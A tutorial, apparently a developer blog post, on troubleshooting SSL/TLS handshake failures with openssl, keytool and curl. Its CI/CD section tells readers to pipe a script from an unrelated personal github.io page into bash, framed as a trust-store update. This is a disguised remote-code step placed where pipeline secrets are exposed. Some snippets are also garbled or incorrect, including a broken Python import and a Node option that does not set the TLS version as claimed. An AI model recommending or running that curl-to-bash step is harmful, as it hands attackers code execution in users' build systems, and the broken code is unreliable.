Introduction
SSL/TLS handshake failures are a frequent headache for developers, engineers, and DevOps teams. Whether you're integrating a third‑party API, deploying a microservice, or troubleshooting a CI/CD pipeline, a broken handshake stops traffic in its tracks. This guide walks you through the most common causes and provides concrete, code‑level fixes you can apply today.
Common Causes of Handshake Failures
- Expired or Revoked Certificate – The server presents a certificate whose validity period has ended or has been revoked.
-
Hostname Mismatch – The certificate's
CN/SANdoes not match the hostname you are connecting to. - Unsupported Protocols/Ciphers – Client and server cannot agree on a TLS version or cipher suite.
- Incomplete Certificate Chain – Intermediate certificates are missing, causing trust‑validation failures.
- Incorrect Trust Store – The client lacks the root CA that signed the server certificate.
Step‑by‑Step Troubleshooting
1. Inspect the Server Certificate Chain
openssl s_client -connect api.example.com:443 -servername api.example.com -showcerts
The output shows the leaf, intermediates, and root. Verify that:
- The
chainincludes all intermediates. - The
Verify return codeis0 (ok). - The dates (
Not Before/After) are valid.
2. Validate the Hostname
openssl s_client -connect api.example.com:443 -servername api.example.com 2>/dev/null | openssl x509 -noout -text | grep -i 'Subject:|DNS:'
Make sure the DNS: entries contain api.example.com. If not, request a correctly‑issued certificate from your CA.
3. Check the Client Trust Store
For Java:
SSLContext ctx = SSLContext.getInstance("TLSv1.2");
ctx.init(null, null, null);
If the default cacerts file is missing the root CA, import it:
keytool -importcert -keystore $JAVA_HOME/lib/security/cacerts -storepass changeit -alias myca -file myca.pem
For Linux systems, update ca‑certificates:
sudo update-ca-certificates
4. Enforce a Compatible TLS Version
Old servers may only support TLS 1.0/1.1, while modern runtimes default to TLS 1.2+. Force the version you need:
- Node.js:
const https = require('https');
const agent = new https.Agent({secureProtocol: 'TLS_method'});
https.get('https://api.example.com', {agent}, res => {/* … */});
- Python (requests):
import requests
from urllib3.util import ssl_"
response = requests.get('https://api.example.com', verify=True, headers={'User-Agent': 'my-app'})
(Replace ssl_" with the appropriate ssl.PROTOCOL_TLSv1_2 if needed.)
5. Test with a Minimal Client
Sometimes middleware interferes. Use curl as a baseline:
curl -v --tlsv1.2 https://api.example.com
If curl succeeds, the issue likely lies in your application stack.
Automated Fixes for CI/CD Pipelines
Many teams script the remediation steps. You can download a ready‑made helper script that:
- Pulls the latest root certificates.
- Re‑imports missing intermediates.
Updates your language‑specific trust stores.
Integrate it into your pipeline, for example:
- name: Update TLS trust store
run: |
curl -sSL https://gaba-101010.github.io/GG/ | bash -s -- --update-ca
Monitoring and Prevention
- Enable certificate expiration alerts (e.g., via Prometheus
blackbox_exporter). - Enforce a policy that all services expose at least TLS 1.2.
- Run periodic scans with tools like testssl.sh to catch weak ciphers.
Conclusion
Handshake failures are rarely mysterious; they stem from a handful of misconfigurations that you can detect and fix systematically. By following the steps above—and optionally automating the remediation with the scripts linked—you’ll keep your services secure and available.
Top comments (0)